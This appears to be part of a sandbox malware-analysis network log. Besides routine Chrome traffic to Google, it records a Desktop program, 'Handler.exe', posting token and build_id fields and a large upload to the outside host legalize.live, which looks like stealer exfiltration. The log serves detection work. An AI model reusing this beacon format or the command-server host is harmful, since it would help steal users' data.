2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 5a 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 48 5c 22 29 3b 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 62 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 48 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 63 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 65 65 5c Data Ascii: _.ae\u003dfunction(a){if(a instanceof _.Zd)return a.i;throw Error(\"H\");};_.ce\u003dfunction(a){if(be.test(a))return a};_.de\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"H\");else a\u003d_.ce(a);return a};_.ee\
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 43 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 Data Ascii: :(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003dfunction(a,b){_.Cb(b,function(c,d){d\u003d\u003d\"style\"?a.sty
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 2c 64 29 7d 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 72 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 76 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 Data Ascii: ,d)}};\n_.ue\u003dfunction(a){return _.re(document,a)};_.re\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.ve\u003dfunction(a){let b;for(;b\u003

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49724	142.250.181.228	443	7260	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:15 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:16:15 UTC	933	IN	HTTP/1.1 200 OK Version: 714120572 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 15 Jan 2025 19:16:15 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 19:16:15 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2025-01-15 19:16:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49735	216.58.206.78	443	7260	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:19 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:16:19 UTC	904	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 36 39 36 38 35 37 36 34 37 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1736968576472",null,null,null,
2025-01-15 19:16:19 UTC	950	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=h55AreY1pqHzt5sqiOmUrrxNw4pjoSK8ccvDoe_gM7w7gBKuQIDIweOTsHPeHgPj7MWn_5hhJ-rvD_lsAJrFmPK16DM8XKx-irPeLLx1aoE3Xm15HbtpnzKhUp_WdWKqK_zbzzgfG3CC6O6Q-rpXV4Z4vXX_r7VTAq-ES_BTXKOwvBYEFSd67zuABfHmKtbz; expires=Thu, 17-Jul-2025 19:16:19 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 15 Jan 2025 19:16:19 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 15 Jan 2025 19:16:19 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2025-01-15 19:16:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2025-01-15 19:16:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49752	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:20 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----79h47yuk6f3eu3o890r1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 1089 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:20 UTC	1089	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 39 68 34 37 79 75 6b 36 66 33 65 75 33 6f 38 39 30 72 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 37 39 68 34 37 79 75 6b 36 66 33 65 75 33 6f 38 39 30 72 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 37 39 68 34 37 79 75 6b 36 66 33 65 75 33 6f 38 39 30 72 31 0d 0a 43 6f 6e 74 Data Ascii: ------79h47yuk6f3eu3o890r1Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------79h47yuk6f3eu3o890r1Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------79h47yuk6f3eu3o890r1Cont
2025-01-15 19:16:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:21 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49768	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:22 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----hlnohdjeua1nyu3ohlny User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 68 6c 6e 6f 68 64 6a 65 75 61 31 6e 79 75 33 6f 68 6c 6e 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 68 6c 6e 6f 68 64 6a 65 75 61 31 6e 79 75 33 6f 68 6c 6e 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 68 6c 6e 6f 68 64 6a 65 75 61 31 6e 79 75 33 6f 68 6c 6e 79 0d 0a 43 6f 6e 74 Data Ascii: ------hlnohdjeua1nyu3ohlnyContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------hlnohdjeua1nyu3ohlnyContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------hlnohdjeua1nyu3ohlnyCont
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
